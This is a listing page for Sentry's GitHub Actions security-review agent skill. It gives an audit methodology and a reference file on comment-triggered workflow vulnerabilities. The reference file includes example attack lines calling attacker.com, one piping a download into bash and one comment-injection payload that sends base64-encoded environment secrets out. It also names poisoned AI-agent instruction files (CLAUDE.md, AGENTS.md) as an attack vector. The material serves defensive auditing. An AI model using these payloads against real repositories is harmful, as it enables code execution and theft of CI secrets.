Gha Security Review
SentryOfficialPublished by Sentry
- Skill
- Review and audit
- Cloud and DevOps
- Apache-2.0
- Medium risk
AutoGineer summary
Written by AutoGineer from the skill’s own files, not by the author
This skill provides a structured methodology for auditing GitHub Actions workflows to identify exploitable vulnerabilities. It focuses on real-world attack patterns such as pwn requests, expression injection, credential theft, and supply chain attacks. The skill requires users to trace complete attack paths and provide concrete proof-of-concept scenarios for any reported findings, ensuring that only actionable, high-confidence vulnerabilities are identified.
What it does
- Audits .github/workflows/ and associated configuration files for security flaws.
- Identifies vulnerabilities exploitable by external attackers without repository write access.
- Maps workflow triggers to specific threat models like pull_request_target or issue_comment.
- Provides guidance on validating findings through attack path tracing.
- Categorizes findings by confidence level to prioritize actionable security issues.
- Suggests remediation steps for confirmed vulnerabilities.
When to use it
- When you need to perform a security audit of your GitHub Actions CI/CD pipeline.
- When investigating potential workflow exploitation vectors in a repository.
- When reviewing pull requests for CI/CD configuration security.
- When you need to verify if a workflow is susceptible to external attacker manipulation.
Advantages
- Focuses on concrete, exploitable attack paths rather than theoretical risks.
- Reduces noise by excluding vulnerabilities that require repository write access.
- Provides clear, actionable criteria for classifying findings.
- Includes specific detection patterns for common CI/CD vulnerabilities.
Usage examples
- “Review my GitHub Actions workflows for security vulnerabilities.”
- The agent will scan the .github/workflows/ directory, analyze triggers and permissions, and report any high or medium confidence vulnerabilities with a PoC.
- “Check if my CI is vulnerable to pwn requests.”
- The agent will specifically audit workflows using pull_request_target and check if they unsafely check out or execute code from forks.
- “Audit my issue_comment workflows for command injection.”
- The agent will examine workflows triggered by issue_comment to ensure they include proper author_association checks to prevent unauthorized command execution.
Install
Download the skill as a ZIP:
https://autogineer.com/agent-skills/getsentry/gha-security-review/downloadUnzip it into the cross-client skills folder of your project:
mkdir -p .agents/skills && unzip gha-security-review.zip -d .agents/skills
Documentation by Sentry
<!-- Attack patterns and real-world examples sourced from the HackerBot Claw campaign analysis by StepSecurity (2025): https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation -->
GitHub Actions Security Review
Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it.
This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory.
Scope
Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting.
Files to Review
.github/workflows/*.yml— all workflow definitionsaction.yml/action.yaml— composite actions in the repo.github/actions/*/action.yml— local reusable actionsConfig files loaded by workflows:
CLAUDE.md,AGENTS.md,Makefile, shell scripts under.github/
Out of Scope
Workflows in other repositories (only note the dependency)
GitHub App installation permissions (note if relevant)
Threat Model
Only report vulnerabilities exploitable by an external attacker — someone without write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger workflow_dispatch, or trigger manual workflows.
Do not flag vulnerabilities that require write access to exploit:
workflow_dispatchinput injection — requires write access to triggerExpression injection in
push-only workflows on protected branchesworkflow_callinput injection where all callers are internalSecrets in
workflow_dispatch/schedule-only workflows
Confidence
Report only HIGH and MEDIUM confidence findings. Do not report theoretical issues.
| Confidence | Criteria | Action |
|---|---|---|
| HIGH | Traced the full attack path, confirmed exploitable | Report with exploitation scenario and fix |
| MEDIUM | Attack path partially confirmed, uncertain link | Report as needs verification |
| LOW | Theoretical or mitigated elsewhere | Do not report |
For each HIGH finding, provide all five elements:
Entry point — How does the attacker get in? (fork PR, issue comment, branch name, etc.)
Payload — What does the attacker send? (actual code/YAML/input)
Execution mechanism — How does the payload run? (expression expansion, checkout + script, etc.)
Impact — What does the attacker gain? (token theft, code execution, repo write access)
PoC sketch — Concrete steps an attacker would follow
If you cannot construct all five, report as MEDIUM (needs verification).
Step 1: Classify Triggers and Load References
For each workflow, identify triggers and load the appropriate reference:
| Trigger / Pattern | Load Reference |
|---|---|
pull_request_target | references/pwn-request.md |
issue_comment with command parsing | references/comment-triggered-commands.md |
${{ }} in run: blocks | references/expression-injection.md |
| PATs / deploy keys / elevated credentials | references/credential-escalation.md |
| Checkout PR code + config file loading | references/ai-prompt-injection-via-ci.md |
| Third-party actions (especially unpinned) | references/supply-chain.md |
permissions: block or secrets usage | references/permissions-and-secrets.md |
| Self-hosted runners, cache/artifact usage | references/runner-infrastructure.md |
| Any confirmed finding | references/real-world-attacks.md |
Load references selectively — only what's relevant to the triggers found.
Step 2: Check for Vulnerability Classes
Check 1: Pwn Request
Does the workflow use pull_request_target AND check out fork code?
Look for
actions/checkoutwithref:pointing to PR headLook for local actions (
./.github/actions/) that would come from the forkCheck if any
run:step executes code from the checked-out PR
Check 2: Expression Injection
Are ${{ }} expressions used inside run: blocks in externally-triggerable workflows?
Map every
${{ }}expression in everyrun:stepConfirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names)
Confirm the expression is in a
run:block, notif:,with:, or job-levelenv:
Check 3: Unauthorized Command Execution
Does an issue_comment-triggered workflow execute commands without authorization?
Is there an
author_associationcheck?Can any GitHub user trigger the command?
Does the command handler also use injectable expressions?
Check 4: Credential Escalation
Are elevated credentials (PATs, deploy keys) accessible to untrusted code?
What's the blast radius of each secret?
Could a compromised workflow steal long-lived tokens?
Check 5: Config File Poisoning
Does the workflow load configuration from PR-supplied files?
AI agent instructions:
CLAUDE.md,AGENTS.md,.cursorrulesBuild configuration:
Makefile, shell scripts
Check 6: Supply Chain
Are third-party actions securely pinned to full SHAs?
Pin third-party / external actions and reusable workflows only
Do not flag first-party
actions/*orgithub/*on version tagsDo not flag same-repo / vendored (
./.github/actions/...) as supply-chain pinning issuesOnly report when the job has secrets, OIDC, write token, release, deploy, package, or signing power — unprivileged read-only CI is not a finding
Check 7: Permissions and Secrets
Are workflow permissions minimal? Are secrets properly scoped?
Check 8: Runner Infrastructure
Are self-hosted runners, caches, or artifacts used securely?
Safe Patterns (Do Not Flag)
Before reporting, check if the pattern is actually safe:
| Pattern | Why Safe |
|---|---|
pull_request_target WITHOUT checkout of fork code | Never executes attacker code |
${{ github.event.pull_request.number }} in run: | Numeric only — not injectable |
${{ github.repository }} / github.repository_owner | Repo owner controls this |
${{ secrets.* }} | Not an expression injection vector |
${{ }} in if: conditions | Evaluated by Actions runtime, not shell |
${{ }} in with: inputs | Passed as string parameters, not shell-evaluated |
| Third-party actions pinned to full SHA | Immutable reference |
First-party actions/* / github/* on version tags | Outside third-party pinning policy — do not flag |
| Same-repo / vendored local actions | Not third-party supply chain (review pwn-request separately) |
pull_request trigger (not _target) | Runs in fork context with read-only token |
Any expression in workflow_dispatch/schedule/push to protected branches | Requires write access — outside threat model |
Key distinction: ${{ }} is dangerous in run: blocks (shell expansion) but safe in if:, with:, and env: at the job/step level (Actions runtime evaluation).
Step 3: Validate Before Reporting
Before including any finding, read the actual workflow YAML and trace the complete attack path:
Read the full workflow — don't rely on grep output alone
Trace the trigger — confirm the event and check
if:conditions that gate executionTrace the expression/checkout — confirm it's in a
run:block or actually references fork codeConfirm attacker control — verify the value maps to something an external attacker sets
Check existing mitigations — env var wrapping, author_association checks, restricted permissions, SHA pinning
If any link is broken, mark MEDIUM (needs verification) or drop the finding.
If no checks produced a finding, report zero findings. Do not invent issues.
Step 4: Report Findings
## GitHub Actions Security Review
### Findings
#### [GHA-001] [Title] (Severity: Critical/High/Medium)
- **Workflow**: `.github/workflows/release.yml:15`
- **Trigger**: `pull_request_target`
- **Confidence**: HIGH — confirmed through attack path tracing
- **Exploitation Scenario**:
1. [Step-by-step attack]
- **Impact**: [What attacker gains]
- **Fix**: [Code that fixes the issue]
### Needs Verification
[MEDIUM confidence items with explanation of what to verify]
### Reviewed and Cleared
[Workflows reviewed and confirmed safe]If no findings: "No exploitable vulnerabilities identified. All workflows reviewed and cleared."
Files
- ATTRIBUTION.mdAdded by AutoGineer862 B
- LICENSELicence file added by AutoGineer10.5 KiB
- SKILL.md8.8 KiB
- references/ai-prompt-injection-via-ci.md5.3 KiB
- references/comment-triggered-commands.md5.5 KiB
- references/credential-escalation.md6.5 KiB
- references/expression-injection.md8.4 KiB
- references/permissions-and-secrets.md7.7 KiB
- references/pwn-request.md5.8 KiB
- references/real-world-attacks.md9.2 KiB
- references/runner-infrastructure.md7.9 KiB
- references/supply-chain.md9.4 KiB
references/comment-triggered-commands.md
Comment-Triggered Command Execution
Overview
Workflows triggered by issue_comment that parse commands from comment bodies (e.g., /deploy, /version, /approve) can be exploited if they lack authorization checks. Any GitHub user can comment on public repository issues/PRs, making unprotected command handlers a direct RCE vector.
The Vulnerability
# VULNERABLE: No author check — any GitHub user can trigger
on:
issue_comment:
types: [created]
jobs:
deploy:
if: contains(github.event.comment.body, '/deploy')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./deploy.shAny GitHub user can comment /deploy on any issue or PR, and the workflow will execute.
Attack Vectors
Unauthorized Command Execution
The simplest attack: trigger a privileged operation without authorization.
# VULNERABLE: Any commenter can trigger version bump
on: issue_comment
jobs:
version:
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/version')
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: ./version.sh -u -nReal-world: Used against project-akri (CNCF project). The attacker modified version.sh in their fork PR to inject curl -sSfL https://attacker.com/steal | bash at the top, then commented /version minor to trigger execution. No author_association check existed.
Compound: Command + Expression Injection
When the comment body is both the trigger AND used in a run: block:
# VULNERABLE: Double risk — no auth + expression injection
on: issue_comment
jobs:
greet:
if: startsWith(github.event.comment.body, '/greet')
steps:
- run: echo "Greeting from: ${{ github.event.comment.body }}"Payload comment:
/greet"; curl https://attacker.com/$(env | base64) #Command with Fork Checkout
# VULNERABLE: Comment triggers checkout of fork code
on: issue_comment
jobs:
test:
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/test')
steps:
- uses: actions/checkout@v4
with:
ref: refs/pull/${{ github.event.issue.number }}/merge
- run: npm test # Runs fork's test suiteThis combines the issue_comment authorization problem with a pwn request — the comment triggers execution of untrusted fork code.
Detection Patterns
# Find issue_comment workflows
grep -rn "issue_comment" .github/workflows/
# Check for command patterns in conditions
grep -A10 "issue_comment" .github/workflows/*.yml | grep "contains\|startsWith"
# Check if author_association is validated
grep -A20 "issue_comment" .github/workflows/*.yml | grep "author_association"
# Check if comment body is used in run blocks
grep -A30 "issue_comment" .github/workflows/*.yml | grep "comment\.body"The Fix: Author Association Check
# SAFE: Only org members can trigger commands
on:
issue_comment:
types: [created]
jobs:
deploy:
if: |
contains(github.event.comment.body, '/deploy') &&
(
github.event.comment.author_association == 'MEMBER' ||
github.event.comment.author_association == 'OWNER' ||
github.event.comment.author_association == 'COLLABORATOR'
)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./deploy.shAuthor Association Values
| Value | Meaning | Trust Level |
|---|---|---|
OWNER | Repository owner | Trusted |
MEMBER | Organization member | Trusted |
COLLABORATOR | Invited collaborator | Trusted |
CONTRIBUTOR | Has merged PR | Partially trusted |
FIRST_TIMER | First PR ever | Untrusted |
FIRST_TIME_CONTRIBUTOR | First PR to this repo | Untrusted |
NONE | No association | Untrusted |
Recommended: Only allow MEMBER, OWNER, and COLLABORATOR.
Additional Protections
# SAFER: Author check + no expression injection + approval team
jobs:
deploy:
if: |
contains(github.event.comment.body, '/deploy') &&
github.event.comment.author_association == 'MEMBER'
steps:
- uses: actions/checkout@v4
# Use env var for any comment data, not ${{ }} in run:
- env:
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
# Parse command arguments safely
ARGS=$(echo "$COMMENT_BODY" | grep -oP '(?<=/deploy\s).*' | head -1)
# Validate arguments against allowlist
if [[ "$ARGS" =~ ^(staging|production)$ ]]; then
./deploy.sh "$ARGS"
else
echo "Invalid deploy target: $ARGS"
exit 1
fiExploitation Scenario Template
ATTACK: Unauthorized Command via issue_comment
ENTRY: Attacker comments on a public issue/PR
PAYLOAD: Comment body containing "/[command]" [+ optional injection]
TRIGGER: issue_comment workflow at [file:line], condition at line [N]
matches without checking author_association
EXECUTION: [What runs — script execution, fork checkout, etc.]
IMPACT: [RCE, deployment trigger, secret access, etc.]References
Requirements and compatibility
Works with: Claude Code, Claude apps, OpenAI Codex, GitHub Copilot, Cursor, Gemini CLI, Kiro, OpenCode, Goose, Amp, Roo Code, JetBrains Junie, Factory Droid, Devin (ex-Windsurf), Mistral Vibe, OpenHands, Letta
“Works with” means the tool reads the open Agent Skills format; a skill written for one tool may use features others lack.
Needs: Declares allowed tools
Security
What our scanner noticed· Medium risk
- References to credential files
- Instructions that use the network
- Downloads piped into a shell
A static scan is not a guarantee. Skills are third-party content: review a skill before you let an agent use it.
Attribution and licence
- Published by
- Sentry
- Publisher
- Sentry (Official)
- Source
- getsentry/skills · skills/gha-security-review · commit e94f222
- Licence
- Apache License 2.0 (redistribution allowed)
- LICENSE (added by AutoGineer from LICENSE)
- ATTRIBUTION.md (written by AutoGineer)
- Synced
AutoGineer is not affiliated with or endorsed by Sentry or Sentry.
Download ZIP
The ZIP holds the skill’s files, its licence files and an ATTRIBUTION.md. Download gha-security-review.zip